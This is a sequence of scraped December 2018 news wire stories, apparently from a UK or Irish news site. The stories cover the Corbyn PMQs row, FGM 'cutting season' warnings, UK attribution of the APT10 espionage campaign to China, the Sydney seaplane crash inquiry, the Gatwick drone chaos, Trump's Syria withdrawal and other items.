will naturally take and would be expected to take, the word of any right honourable or honourable member. Its reasonable to expect the House to do the same. Before Mr Corbyns statement, Conservative MPs had been quick to attack him, with party chairman Brandon Lewis urging him to either apologise or clarify. Deputy Tory chairman James Cleverly said on Twitter that this kind of misogynistic language must not be tolerated, and the Health Secretary Matt Hancock added: The mask slips. Jeremy Corbyns abuse of the Prime Minister shows what a reactionary misogynist he is. This is not ok. PMQs is a hotbed of emotions but I hope that Jeremy will accept this kind of behaviour isnt his normal good nature or what we expect of progressive men #21stcenturycalling https://t.co/N9MpSNeYv4 stellacreasy (@stellacreasy) December 19, 2018 Mr Corbyn also faced criticism from his own backbenches, with Walthamstow MP Stella Creasy, who has talked publicly about misogynist abuse she has faced on social media, saying: This is not ok. PMQs is a hotbed of emotions but I hope that Jeremy will accept this kind of behaviour isnt his normal good nature or what we expect of progressive men. The Labour leaders spokesman said afterwards that Mr Corbyn had said stupid people, referring generally to MPs who were not taking the issues being debated seriously. He said he had confirmed the word spoken with the Labour leader personally, adding: He did not call her a stupid woman and so I dont think theres any basis for an apology. FYI- I have to say, I saw Jeremy Corbin call the Prime Minister a stupid woman with my own eyes watching on @SkyNewsPolitics Rob Lowe (@RobLowe) December 19, 2018 The footage also prompted the bizarre spectacle of former West Wing star Rob Lowe weighing in on Twitter to give his opinion. There were audible cries of shame and disgraceful as Tory former minister Sir Patrick McLoughlin used a point of order during PMQs to suggest Mr Corbyn should come back into this chamber and apologise. Mr Bercow, who hit the headlines in May himself after being accused of calling Commons Leader Andrea Leadsom a stupid woman, told MPs that any MP who failed to follow House conventions on conduct had a responsibility to apologise. He then clashed with Mrs Leadsom after she raised a point of order over an incident involving the Speaker. Expand Close Mr Bercow clashed with Mrs Leadsom after she raised a point of order over an incident involving the Speaker (House of Commons/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp Mr Bercow clashed with Mrs Leadsom after she raised a point of order over an incident involving the Speaker (House of Commons/PA) She said: If individuals who are found to have made unwelcome remarks should apologise, why it is that when an opposition member found that you had called me a stupid woman, you did not apologise in this chamber? After repeated jeers and banging from Tory MPs, Mr Bercow said: I dealt with that point months ago in remarks that I made to the House of Commons to which Ms Leadsom in our various meetings since has made no reference and which requires from the chair today no elaboration whatsoever. Tory backbencher Anna Soubry also questioned his response, saying: If it was one of my male colleagues on this side of the house that had used that expression against a woman on the front bench of the opposition, you sir would take action immediately. FGM survivor Leyla Hussein said the festive season can become cutting season for at-risk girls (Victoria Jones/PA) British girls who may be at risk of being taken abroad to undergo female genital mutilation over the Christmas cutting season have been urged to ask an adult they trust for help. Campaigner and FGM survivor Leyla Hussein warned that the festive period can be a dangerous time for young girls, as they may be flown to other countries for the long school holidays to become victims of what she has described as a violent sexual offence. She encouraged anyone who believes they are at risk, often from close family members, to tell a teacher or another responsible adult they trust. FGM intentionally altering or injuring the female external genitalia for non-medical reasons carries a sentence in the UK of up to 14 years in jail. Christmas time is the cutting season. Girls are taken away around this time of the yearFGM campaigner and survivor Leyla Hussein Dr Hussein, a psychotherapist, said: Christmas time is the cutting season. Girls are taken away around this time of the year. Because of the physical and emotional damage girls are going to experience, around the holiday is actually the best time to go, and I guess commit such a crime, because it gives people enough time to heal or to brainwash a child or groom a child into not speaking about it. Because what people need to remember is, its done by people you trust the most. Dr Hussein, who founded the Dahlia Project to help other survivors, urged responsible adults to intervene as well as encouraging young people to ask for help. She said: If you are a girl who feels you might get cut, you should talk to someone, an adult that you trust. If youre a young person, talk to your teacher or someone you trust. But also, if you know you really are at risk, pick up the phone, ask for help. Either call Childline or the police. Dr Hussein said FGM protection orders, which were introduced in the UK in 2015, are the best thing thats happened in the law because they allow for an intervention if someone is at risk. There were 205 made between July 2015 and December last year. She said: A schoolteacher, anyone can use it if they think a child is at risk which is great. Thats what we want, and through that weve done more prevention work. Thousands of women and girls have been recorded in the health service in England as having undergone FGM at some point in their lives not necessarily in this country according to figures from NHS Digital. Despite FGM having been illegal in the UK since 1985, there have been no convictions to date. Dr Hussein is critical of the law as it stands, believing people who commit the crime should be prosecuted under the Sexual Offences Act rather than the specific FGM Act. She said: The legal system needs to change, we cannot convict people under the FGM Act, it hasnt worked, it will never work. She said she fears a young girl may die before authorities consider a change in the law. I think the day the UK is going to take this seriously, its when a British girl has died and that will be a big heartbreaking day for those of us doing this work, she said. Are they going to wait for somebody to die for them to take it seriously? Is that really what we are waiting for? A spokesman for the Home Office said the introduction of protection orders, mandatory reporting and lifelong anonymity for victims have helped strengthen the law for those at risk. He added that there was a communications campaign in place to educate communities about the long-term health consequences of a crime still considered by some as an acceptable cultural practice. The spokesman said: FGM is a devastating crime which can cause severe and lifelong physical, psychological and emotional harm. The Government has announced 50 million of new funding to end FGM worldwide the largest investment ever made. Head of the National FGM Centre Leethen Bartholomew said: We believe the best way of preventing the practice is by working with girls and their families, raising awareness in schools and communities, and training professionals like teachers and social workers to spot girls at risk of FGM and know how to report it. Signs that a child may be at risk include her starting to tell her friends about FGM, and confiding that she is going to have a special procedure, or attend a special occasion to become a woman, the centre said. Mr Bartholomew added: We hope our reminder of the signs will help not just teachers but all agencies to prevent FGM from happening by identifying girls at risk and helping to prosecute those who fail to protect girls from this type of abuse. Britain has accused China of a massive programme of industrial espionage in a widespread and significant campaign of cyber intrusions against the UK and its allies. The Foreign Office said hackers acting on behalf of the Chinese Ministry of State Security were stealing commercial secrets from firms in Europe, Asia and the US. Officials said their activities were so extensive, they were putting at risk economic growth in the UK and the wider global economy. Foreign Secretary Jeremy Hunt said the attacks were in direct breach of assurances given by the Beijing government to the UK in 2015 as well as commitments made at the G20. This campaign is one of the most significant and widespread cyber intrusions against the UK and its allies uncovered to date, targeting trade secrets and economies around the world. These activities must stop, he said. Our message to governments prepared to enable these activities is clear: together with our allies, we will expose your actions and take other necessary steps to ensure the rule of law is upheld. The National Cyber Security Centre (NCSC) said it had assessed with the highest level of probability that the attacks were carried out by a group known as ATP 10. There will have been economic damage to UK plc as a result of this campaign. We will have lost corporate secrets as a resultUK official The Foreign Office said the group had conducted a malicious and sustained campaign targeting a range of global companies, and that it was almost certainly continuing to steal valuable commercial secrets. There will have been economic damage to UK plc as a result of this campaign. We will have lost corporate secrets as a result, one official said. The announcement came as the US Justice Department said it was charging two Chinese citizens with an extensive hacking campaign to steal data from American companies. In an indictment unsealed on Thursday, prosecutors said Zhu Hua and Zhang Shillong were acting on behalf of Chinas main intelligence agency. Court papers filed in Manhattan federal court alleged they were able to breach the computers of more than 45 entities in 12 states. The victims were in a variety of industries from aviation and space to pharmaceutical technology. Together with our allies, we are holding elements of the Chinese government responsible for an extensive cyber campaign targeting intellectual property and sensitive commercial data in Europe, Asia and the US. https://t.co/NsJ5z67mVQ pic.twitter.com/dE3k1uLyCi Foreign, Commonwealth & Development Office (@FCDOGovUK) December 20, 2018 Officials said they had been raising the activities of ATP 10 with the Chinese government for the past two years, including during Theresa Mays visit to Beijing in February. We have not got the results that we have been asking for as a result of that private engagement. That is why we are taking this action now, one official said. According to an updated technical note on the NCSC website, ATP 10 also known as Stone Panda, MenuPass and Red Apollo has been active since at least 2009. The group, based in the city of Tianjin, was said to have targeted the defence, aerospace, healthcare and mining sectors for the likely purpose of intellectual property theft. In 2017, it attacked a number of global managed services providers (MSPs) in a campaign known as Cloud Hopper which gave it extensive access to the networks of organisations around the world. The companies affected by the attacks have not been named and officials warned the it was impossible to assess how far they had penetrated. Weve assessed with the highest level of probability that the group widely known as APT10 is responsible for a sustained cyber campaign focused on large-scale service providershttps://t.co/cBblRInpZN NCSC UK (@NCSC) December 20, 2018 It is the very widespread targeting and sometimes deep penetration of globally significant companies. The tentacles of this campaign are vast, one official said. You can see the initial intrusion but it becomes harder to track secondary and tertiary intrusions, so there is an element about this technically which we will not know. The latest attacks were said to have exposed weaknesses in the cyber security measures in the firms which have been targeted some of them household names. Cabinet Office Minister David Lidington, Mrs Mays de facto deputy, is to summon an industry summit in the new year to talk businesses through the actions they need to take to strengthen their defences. The de Havilland Canada DHC-2 Beaver floatplane crashed in Jerusalem Bay on January 4, killing five British people on board (Australian Transport Safety Bureau/PA) Photographs taken by one of the British victims of a seaplane crash in Sydney on New Years Eve have helped investigators piece together what happened in the lead-up to the tragedy. An interim report by the Australian Transport Safety Bureau (ATSB) revealed that a Canon digital camera had been recovered from inside the de Havilland Canada DHC-2 Beaver, which plunged into water in Jerusalem Bay, 25 miles north of Sydney city centre, on December 31 last year. Richard Cousins, the 58-year-old chief executive of FTSE 100 company Compass Group, died alongside his sons, Will and Edward, aged 25 and 23, his fiancee, Emma Bowden, 48, and her 11-year-old daughter Heather. Expand Close The camera found inside the wreckage of the aircraft (ATSB/PA) Press Association Images / Facebook Twitter Email Whatsapp The camera found inside the wreckage of the aircraft (ATSB/PA) Investigators said police had been able to reenact part of the flight using images from the camera, while several witness statements had also been gathered to determine the path the plane had travelled. The aircraft was not fitted with a black box flight recorder and the ATSB said part of its ongoing investigation would consider whether all small passenger planes should carry one. A preliminary report earlier this year said the plane had hit an area of water away from the expected and standard flight path, crashing in a near-vertical position. At the time, Aaron Shaw, chief executive of operator Sydney Seaplanes, said the aircraft simply should not have been where it was and that the manoeuvres prior to the crash were inexplicable. The latest factual report from the ATSB, released on Thursday, said the aircraft had entered Jerusalem Bay at a lower altitude than the height of the surrounding terrain. Witnesses said the plane made a steep right turn before its nose suddenly dropped and the aircraft crashed. Pilot Gareth Morgan, 44, who was also killed, had more than 10,000 hours of flying experience, and had flown at least 780 flights from Cottage Point, where the plane had taken off from. Investigators said no pre-existing issues with the plane were found, while examination of the wreckage also indicated that there was no evidence of a bird strike or collision with an object before or during the flight. The ATSB said its investigation would now look at a number of factors surrounding the pilots health and medical history. Expand Close A photo from the digital camera recovered from inside the de Havilland Canada DHC-2 Beaver (ATSB/PA) Press Association Images / Facebook Twitter Email Whatsapp A photo from the digital camera recovered from inside the de Havilland Canada DHC-2 Beaver (ATSB/PA) ATSB executive director Nat Nagy said: With no on-board data available from the aircraft itself, transport safety investigators have been able to use witness statements and images retrieved from one of the passengers cameras to determine what happened in the lead-up to this accident. The ATSBs investigation is continuing and will now look at a number of factors surrounding the pilots health and medical history. We have engaged an aviation medical specialist to assist with reviewing the pilots medical records as well as the autopsy results, which the ATSB has recently received over the past month. That review is now under way and we expect the results to appear from that over the coming months. A final report, which will include any findings or recommendations, is expected to be released in the first half of next year. Theresa May has hailed the contribution Polish expats have made in the UK (Matt Dunham/PA) Theresa May will welcome her Polish counterpart to Downing Street as she attempts to reassure migrants from the country they will remain welcome in the UK after Brexit. The Prime Minister and Mateusz Morawiecki will discuss defence and security links against the backdrop of concerns about Russias activities. And ahead of the visit Mrs May praised the contribution made by Poles living in Britain and told them you can stay, and we want you to stay. Expand Close Polish Prime Minister Mateusz Morawiecki (AP Photo/Geert Vanden Wijngaert) AP/PA Images / Facebook Twitter Email Whatsapp Polish Prime Minister Mateusz Morawiecki (AP Photo/Geert Vanden Wijngaert) The visit, for the third annual UK-Poland inter-government consultation, comes as Mrs May seeks to win support from European Union leaders for further reassurances over the Brexit deal. In her message to Polish expats she said: Almost one million Poles make their lives in Britain the largest diaspora in the UK. You can stay, and we want you to stayTheresa May to Poles living in the UK I value the contribution the Polish community makes to our economy and our society, and am committed to ensuring the UK remains a welcoming place for Poles to live, work and study. Today is an opportunity to repeat my message to Polish people you can stay, and we want you to stay. Mrs May and senior Cabinet colleagues will meet Polish counterparts to discuss defence, security and prosperity post-Brexit. The Prime Minister said: Poland is one of our closest friends and allies. This partnership works for both our nations, making us safer, more prosperous and more secure. Throughout history, UK and Poland have stood side by side. We share an unwavering commitment to supporting a stable and peaceful Europe, but are also clear-eyed in recognising the threats we face and the required response. Todays talks will agree ambitious steps that build on the landmark joint defence and security treaty we signed in Warsaw last year, and set a course for further collaboration in the years ahead. Speaking in the House of Commons, Labours Rushanara Ali warned the crisis happened on our watch in Burma (Tim Ireland/PA) Britain has been urged to publicly press the Burmese government to immediately stop all abuses, as MPs voiced fresh concerns over the Rohingya crisis. Labours Rushanara Ali (Bethnal Green and Bow) expressed frustration at the UK Governments diplomatic response and warned the crisis happened on our watch in Burma, also known as Myanmar. The United Nations has reported more than 700,000 Rohingya people have fled the country to Bangladesh due to widespread and systematic ethnic violence since August 2017. The Burmese military has faced allegations of committing abuse, rape and murder of the predominantly Muslim Rohingya while also destroying their homes and villages. Expand Close Labour MP Rushanara Ali addresses the Commons (PA) / Facebook Twitter Email Whatsapp Labour MP Rushanara Ali addresses the Commons (PA) Ms Ali, opening the backbench business debate, told the Commons: When asked in a parliamentary debate last year, the minister of state said that if the United Nations determined genocide then of course the United Kingdom Government will be the first to be supportive of taking these matters to the international criminal court. Twelve months later and there has still been very little progress. The Prime Minister called explicitly last November for more action and said the humanitarian crisis is something the Burmese authorities and especially the military must take full responsibility for. She went on to pledge that Britain would continue to play a leading role in bringing the international community together to do everything possible to stop this appalling inhumane destruction of the Rohingya people. The sad reality is that our Government while strong in providing humanitarian assistance has not come close to putting real pressure on the Burmese government and its military leaders. It should not have taken more deaths and displacement to make the international community take notice. This crisis happened on our watch. The UK Government should publicly press the Burmese government to immediately stop all abuses, remove restrictions on freedom of movement, improve conditions for all Rohingya in Rakhine state, and grant unfettered access to Rakhine state to humanitarian agencies and human rights monitors. Expand Close Foreign Office minister Mark Field (PA) / Facebook Twitter Email Whatsapp Foreign Office minister Mark Field (PA) Ms Ali went further about what the UK Government should do, including that they insist no repatriation of Rohingya refugees takes place until it is safe to do so. Labours Jack Dromey (Birmingham Erdington) said Burma was a beautiful country of immense potential when he visited three years ago, but warned: (It) is now scarred and shamed by the treatment of the Rohingya. He added: An unambiguous message needs to be sent today that the government of Myanmar will forever be a pariah state until they end the shameful war crimes against the noble people the Rohingyas. Replying for the Government, Foreign Office minister Mark Field said progress had been made and, although it was slow, the UK had secured support for a collect and preserve mechanism to keep evidence for future criminal trials, he said, and would continue to try and get China to cooperate with international efforts. Mr Field said China had tried to prevent the fact-finding mission even briefing the UN security council, which he said highlighted the level of opposition were currently up against. He added the UK would continue to try to engage China on the need for accountability for this horrendous set of crimes. Mr Field also stressed the UK was committed to supporting the Rohingya for the long haul. He said: We all know the Rohingya people have a right to live in their home country in safety and dignity, something at this time of year we very much take for granted. For that to happen those responsible for their persecution must be held accountable and the Burmese state must show theyre serious about bringing an end to the prejudice and discrimination that ethnic minorities in Burma have suffered for so long. As things stand we have to prepare ourselves for what I fear is going to be a very long journey and we must remember the Burmese people will have to endure every step of that journey. Thats why I repeat today for their sake the UK will stay the course so that one day the people of Burma can live together in peace, justice and prosperity. Passengers try to sleep on board a plane diverted to Birmingham airport and waiting on the tarmac. (credit: Christopher Lister/PA) Passengers stranded by the chaos at Gatwick Airport have told of families running out of food and trying to sleep in freezing terminals and crowded planes as they try to travel home for Christmas. Andri Kyprianou, from Cyprus, said she saw a pregnant woman sleeping on the floor and passengers with infants spending the night in the freezing South Terminal. I havent slept since yesterday morning, we are very tired. Its freezing, we are cold, having to wear all of these coats for extra blanketsAndri Kyprianou She said she got to the airport at 12.30am for a 3am flight to Cyprus via Kiev, only to find it had been cancelled and the next connection in Kiev is on Sunday. She said: I havent slept since yesterday morning, we are very tired. Its freezing, we are cold, having to wear all of these coats for extra blankets. There were pregnant women, one of them was sleeping on the floor. There were people with small babies in here overnight, we saw disabled people on chairs. There were young children sleeping on the floor. She said she will have to spend a night in Kiev, but she had been told by Ukraine International Airlines that there may be a chance of an alternative connection through Tel Aviv. Hopefully they will arrange a hotel for us so we dont have another night in an airport, she added. Chris Lister, from Somerset, who owns an online business, was travelling back from Kiev with his wife Freya. He was due to land at Gatwick at 9.45pm on Wednesday but ended up trapped on the plane on the tarmac at Birmingham Airport until 6am. There were quite a few babies and kids on board, I think they were struggling more than we were and one woman had run out of milk, he said. Flight from Kiev to #Gatwick was due to land last night at 21.45. We landed in Birmingham airport. Now almost 4am, still on the plane, no food or updates from our crew. Not allowed to disembark. Bodies sleeping on every seat and across the floors. #GatwickAirport pic.twitter.com/nBrPquEGFM Listy (@Listy_cl) December 20, 2018 After starting his journey in Bangkok on Tuesday he was finally let off the plane at 6am, he said. A Gatwick spokesman said 110,000 passengers were due to either take off or land at the airport on 760 flights on Thursday. He was unable to say how many had already been affected but the first wave of flights is normally the busiest time of the day. Around 10,000 passengers were affected on Wednesday night after the runway was closed at 9.03pm. Passengers are advised not to travel to the airport if their flight is cancelled. Joseph Ouechen, a photographer from Morocco, was due to fly into Gatwick on Wednesday night but had his flight diverted to Paris. After arriving at Charles de Gaulle Airport at midnight, passengers with visas for the Schengen area were taken to a hotel but those without about 20% were left in the airport to fend for themselves, he said. This is France, we are blocked here its 3:30 with babies, France dont want as to cross the borders cause of a situation that se didnt choice. A problem in Gatwick caused by a flying drone. All the UK airports are closed, they decided to land in Paris for the night. #gatwick pic.twitter.com/naZPlyz8G7 Joseph OUECHEN (@josephouechen) December 20, 2018 There were families with babies who couldnt get to their suitcases for their milk and stuff, he said. We were asking just for a favour if (airport staff) could help but they said they couldnt do anything. Firefighters eventually crossed the border through passport control with blankets and water at 3.30am, he said. To be honest, Im so tired and when the guys from the fire (service) came with the bottles and blankets I was feeling like a war, like (I was) a refugee, but Im just flying to the UK. Its surreal. I was flying to the UK and now there are firemen bringing me water and blankets. Mamosta Abdulla said he was on an Iraq-bound flight on Wednesday evening before getting stuck on the tarmac for four hours. He will miss his fathers memorial service, he said. We are in Iraq with bombs going off nearby and the plane still lands. But here some drones have shut down the airportMamosta Abdulla We got here at 6pm and should have flown at 9.10pm, but we were stuck four hours on the plane with a crying baby, the child was disabled and everyone was sweating because it was so hot in there, he said. Passengers were given a 12 voucher for food, he added, but were left to sleep in a freezing place on uncomfortable chairs. We are in Iraq with bombs going off nearby and the plane still lands. But here some drones have shut down the airport. Former bank worker Lexie Heath had to be given a wheelchair after the stress of having her flight cancelled exacerbated her heart problem. The 73-year-old, who lives in London and was scheduled to fly to Glasgow to be with family for Christmas, said she was not used to travelling alone as her husband died five months ago. She said airport staff had been fantastic in looking after her and that she had been stuck on a stationary plane from 7am for about four hours this morning. She said: I have a heart problem and when I get stressed it races too fast and sometimes skips a beat. I can get a pain down my arm as well, like pins and needles. This stress has really set me off, very much so. My legs just go. Im not that used to travelling alone, it used to be with my husband. Im going back up to spend Christmas with my family. My brother died three weeks ago and now Ill have the extra stress of trying to organise parts of his funeral. I could have really done without this. A replacement flight from Gatwick on Friday morning has been organised for her, she added. As the disruption continues into its second night, passengers are anticipating spending the night in the terminal after hotels in the area become fully booked. Carl and Lisa McCluskey, from Lincolnshire, found out from an air stewardess on Thursday that their flight to Egypt was delayed until further notice. They have been told to check in with their airline Thomas Cook at 6am on Friday morning. They said making the three-hour journey home would be pointless, as they would have to return a few hours later. Unable to book in to a hotel, they face spending the night in the airport with their two daughters, aged seven and eight, with two suitcases made into makeshift beds. Mr McCluskey, 44, said: Its mindless idiots probably, they know what theyre doing. They would have seen the disruption to come out again this afternoon. The family, travelling with Mrs McCluskeys parents, said their two-week trip cost about 6,500. They were all given a 10 food voucher each from the airline, which they said didnt buy much with airport prices. The Polish prime minister has encouraged Poles living in the UK to return to Poland, despite Theresa May saying they are welcome to stay after Brexit. Mateusz Morawiecki made the comments after referencing the blooming Polish economy during a press conference following bilateral talks at Lancaster House. Mrs May said the UK was committed to protecting the rights of European Union citizens living in the UK if Britain crashes out of the EU without a deal. Expand Close Theresa May and Polish prime minister Mateusz Morawiecki during the press conference (Alastair Grant/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp Theresa May and Polish prime minister Mateusz Morawiecki during the press conference (Alastair Grant/PA) She said: My message to Polish people is clear. You can stay, and we want you to stay. The Prime Minister repeated the message in Polish, before adding: As we leave the EU, the relationship with our closest partners like Poland remains vital. I have reiterated to Prime Minister Morawiecki that Britain will continue to work with Poland and other member states to protect our people, shared values and interests. During a press conference in Lancaster House with Mateusz Morawiecki, Theresa May tells Polish people living in the UK: You can stay, and we want you to stay - before repeating it in Polish pic.twitter.com/5VahlHpTXi Harriet Line (@HarriLine) December 20, 2018 Mr Morawiecki welcomed the comments, before encouraging Poles to consider returning to Poland. He said: Thank you very much once again and Im very happy about something you mentioned during your speech our Polish diaspora here in the United Kingdom, Polish citizens who live in the UK can feel safe, can be sure that their rights and social rights included will be respected. This was very important for our government as this is our responsibility to make sure that our citizens Poles who left countries and found their second home in the UK have their rights respected. We are happy about the fact that they found a new home, however, as our economy is blooming, we would like to encourage our citizens to consider returning to Poland, although we respect everyones personal choices. Mr Morawiecki earlier said Mrs Mays Brexit deal was the best that could have been obtained. He told the press conference: We believe the current Withdrawal Agreement is the best that could be obtained. Its a window towards the future and based on the Withdrawal Agreement we shall be able to work out detailed trade relations under the new circumstances and also co-operation in the realm of international policy, security and all those areas of the utmost importance to us. This agreement should come into force, it would be beneficial for both parties and after March 2019 it will allow us to build solid, close relations between not only our respective countries but the UK and the EU. Former US president Barack Obama delighted patients and staff at a childrens hospital, donning a Santa hat to deliver gifts. The official Twitter account for the Childrens National, a hospital in Washington DC, shared a video of the trip with the caption: Thank you @BarackObama for making our day so much brighter. Your surprise warmed our hallways and put smiles on everyones faces! Our patients loved your company and your gifts! Thank you @BarackObama for making our patients day so much brighter. Your surprise warmed our hallways and put smiles on everyones faces! Our patients loved your companyand your gifts! https://t.co/bswxSrA4sQ #HolidaysAtChildrens #ObamaAndKids pic.twitter.com/qii53UbSRS Children's National Hospital (@ChildrensNatl) December 19, 2018 The footage shows Mr Obama, 55, handing out presents and talking and playing with overjoyed children around the hospital on Wednesday. The former president, who served two terms from 2008 to 2016, told staff: I just want to say thank you to all of you guys for the chance to talk to some of the wonderful kids and their families at a time that is obviously tough for folks. As a dad of two girls I can only imagine, in that situation, to have nurses and staff and doctors and people who are caring for them and looking after them and listening to them and just there for them and holding their hand thats the most important thing there is. What a great reminder of what the holiday spirit is meant to be all about. A post on the hospitals Instagram account showed pictures of Mr Obama with a large sack of presents, talking to staff and posing for selfies with patients. Who said the Grinch stole Christmas?! read the caption. Our patients and their families received a HUGE holiday surprise when @barackobama warmed our hallways with a huge bag of gifts for our patients! Thank you so much for visiting! North Korea has said it will never unilaterally give up its nuclear weapons unless the United States removes its nuclear threat first. The statement carried by the official Korean Central News Agency came amid a deadlock in nuclear negotiations between the United States and North Korea over the sequencing of the denuclearisation process and removal of international sanctions. It raises further doubts over whether North Korean leader Kim Jong Un will ever voluntarily relinquish an arsenal he may see as a stronger guarantee of survival than whatever security assurances the United States could provide. Expand Close North Korean leader Kim Jong Un inspects the preparation of the launch of a Hwasong-14 intercontinental ballistic missile (AP) AP/PA Images / Facebook Twitter Email Whatsapp North Korean leader Kim Jong Un inspects the preparation of the launch of a Hwasong-14 intercontinental ballistic missile (AP) It also suggests that North Korea will demand the United States withdraw or significantly reduce the 28,500 American troops stationed in South Korea, which would be a major sticking point to a potential disarmament deal. Mr Kim and President Donald Trump met on June 12 in Singapore where they issued a vague goal for the complete denuclearisation of the Korean Peninsula without describing when and how it would occur. But North Korea for decades has been pushing a concept of denuclearisation that bears no resemblance to the American definition, vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursdays statement, the North made clear it is sticking to its traditional stance on denuclearisation. It accused Washington of misleading what had been agreed on in Singapore and driving the post-summit talks into an impasse. The United States must now recognise the accurate meaning of the denuclearisation of the Korean Peninsula, and especially, must study geography, the statement said. When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the complete denuclearisation of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighbouring the Korean Peninsula, the statement said. The United States removed its tactical nuclear weapons from South Korea in the 1990s. Washington and Seoul did not immediately respond to the North Korean statement. A security team near where the bodies of two tourists were found near Imlil in the Atlas Mountains(2M via AP) Three more suspects have been arrested over the killings of two Scandinavian tourists in Moroccos Atlas Mountains. The development came as the Danish intelligence agency said the killings may be related to Islamic State. The three new suspects were arrested in Marrakech as they tried to flee in a bus, according to national security spokesman Boubker Sabik. He said authorities are investigating whether the three have terrorist affiliations, adding that no other suspects are being sought. Expand Close The bodies were found near Imlil(2M via AP) AP/PA Images / Facebook Twitter Email Whatsapp The bodies were found near Imlil(2M via AP) Another suspect was arrested on Tuesday, and a Moroccan prosecutor said he had affiliations to an extremist group, without naming it. The killings have shocked Morocco, a popular tourist destination where attacks on foreigners are extremely rare. The womens bodies were found on Monday in the Atlas Mountains, an area prized by hikers. The killings can be considered politically motivated and thus an act of terror, Danish Prime Minister Lars Loekke Rasmussen said. He said there are still dark forces that want to fight our values and we must not give in. Mr Loekke Rasmussen confirmed the victims identities as Louisa Vesterager Jespersen, of Denmark, and Maren Ueland, from Norway. Expand Close Denmarks Prime Minister Lars Loekke Rasmussen in Copenhagen (Philip Davali/Ritzau via AP) AP/PA Images / Facebook Twitter Email Whatsapp Denmarks Prime Minister Lars Loekke Rasmussen in Copenhagen (Philip Davali/Ritzau via AP) What should have been a holiday trip turned into a nightmare, he told reporters in Denmark. In neighbouring Norway, Prime Minister Erna Solberg said terrorism is not the only lead that is being investigated in Morocco but said the case still emphasises the importance of combating violent extremism. We trust that Moroccan authorities are doing their utmost to arrest those responsible for the murders, she told a scheduled news conference. In a statement, Denmarks domestic security agency said the preliminary investigation indicate, according to Moroccan authorities, that the killings may be related to the terrorist organisation the Islamic State group. The bodies were found in a remote mountainous region, 10 kilometres (six miles) from the village of Imlil often the starting point for treks to Mount Toubkal, North Africas highest peak. Moroccan media outlets reported that investigators have video surveillance footage showing three suspects putting up a tent near the victims tent and leaving the area after the killings. Expand Close A forensic team at the scene(2M via AP) AP/PA Images / Facebook Twitter Email Whatsapp A forensic team at the scene(2M via AP) The website of state broadcaster 2M published photos that they said were of the three suspects taken on a bus. The Norwegian victims mother, Irene Ueland, told broadcaster NRK that her daughter had taken safety precautions before making the trip. Authorities in Denmark and Norway on Wednesday warned their citizens against hiking without local guides in Morocco after the killings. Danish police officials said they have sent an officer to Morocco to assist in the investigation. Morocco is generally considered safe for tourists but has battled with Islamic extremism for years, and more than a thousand Moroccans are believed to have joined IS. An anti-terrorism rally is planned for Moroccos capital on Saturday. Donald Trump has argued for the withdrawal since he was a presidential candidate (Amnesty International/PA) Donald Trump is pulling all 2,000 US troops out of Syria, officials announced Wednesday, as the president suddenly declared victory over the Islamic State. He was contradicting his own experts assessments and sparked surprise and outrage from members of his party, who called his action rash and dangerous. The US began airstrikes in Syria in 2014, and ground troops moved in the following year to battle the Islamic State, or Isis, and train Syrian rebels in a country torn apart by civil war. Mr Trump abruptly declared their mission accomplished in a tweet. On Wednesday, as Vice President Mike Pence met top military leaders in the Pentagon, Mr Trump tweeted: We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. Later, Mr Trump posted a video on Twitter in which he said it was heartbreaking to have to write letters and make calls to the loved ones of those killed in battle. Now its time for our troops to come back home, he said. His declaration of victory is far from unanimous. The decision will fulfil Mr Trumps long-stated goal of bringing troops home from Syria, but military leaders argue that Islamic State remains a threat and could regroup as it battles in Syrias long-running civil war. Mr Trump has argued for the withdrawal since he was a presidential candidate. But the decision underscores the division between him and his military advisers, who have said in recent weeks that pockets of IS militants remain and US policy has been to keep troops in place until the extremists are eradicated. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, reacted in non-committal fashion after talking with Mr Trump by telephone. This is, of course, an American decision, he said. Israel will learn of the timetable and manner of withdrawal, he said, and no matter what we will safeguard the security of Israel and protect ourselves from this arena. Leading Republican senators reacted with displeasure to the news. Senator Lindsey Graham, typically a Trump backer, said he was blindsided by the report and called the decision a disaster in the making. He said: The biggest winners in this are ISIS and Iran. There will be much resentment and feeling of abandonment that will be directed toward American personnel. The confusion surrounding our Syria policy is making life much more difficult and dangerous for Americans in the region. Lindsey Graham (@LindseyGrahamSC) December 19, 2018 Marco Rubio of Florida said the withdrawal would be a grave error with broader implications beyond the fight against IS. Just last week, the US special envoy to the anti-Isis coalition, Brett McGurk, said US troops would remain in Syria even after Islamic State was driven from its strongholds. I think its fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring, Mr McGurk told reporters on December 11. Nobody is declaring a mission accomplished. Defeating a physical caliphate is one phase of a much longer-term campaign. And two weeks ago General Joseph Dunford, chairman of the Joint Chiefs of Staff, said the US still has a long way to go in training local Syrian forces to prevent a resurgence of IS and stabilise the country. He said it will take 35,000 to 40,000 local troops in north-eastern Syria to maintain security over the long term, but only about 20% of them have been trained. Mr Trumps national security adviser, John Bolton, said in September that the US would keep a military presence in Syria as long as Iran is active there. Were not going to leave as long as Iranian troops are outside Iranian borders and that includes Iranian proxies and militias, he said. James Stavridis, a former Navy admiral who served as top Nato commander, tweeted Wednesday that Pulling troops out of Syria in an ongoing fight is a big mistake. Like walking away from a forest fire that is still smoldering underfoot. Big winner is Iran, then Russia, than Assad. Wrong move. The withdrawal decision, however, is likely to be viewed positively by US ally Turkey, and comes following several conversations between Mr Trump and Turkish President Recep Tayyip Erdogan over the past weeks. The Turks have targeted US-backed Kurdish troops along the Syria-Turkey border, which Turkey considers an insurgent threat. A US withdrawal including the end of joint US and Turkish patrols along the border could open the door for more Turkish operations against the Syrian rebels. Just hours before the withdrawal decision became public, the State Department announced late Tuesday that it had approved the sale of a 3.5 billion dollar (2.7 billion) Patriot missile defence system to Turkey. The US first launched airstrikes against IS fighters in Syria in 2014. In the years that followed, the US began partnering with Syrian ground forces to fight the extremists. The Pentagon recently said that IS now controls just 1% of the territory it originally held. The problems of dealing with the legacy of the past are brought into focus by two court decisions reported in this newspaper today The problems of dealing with the legacy of the past are brought into focus by two court decisions reported in this newspaper today. It is tempting to suggest that new forensic 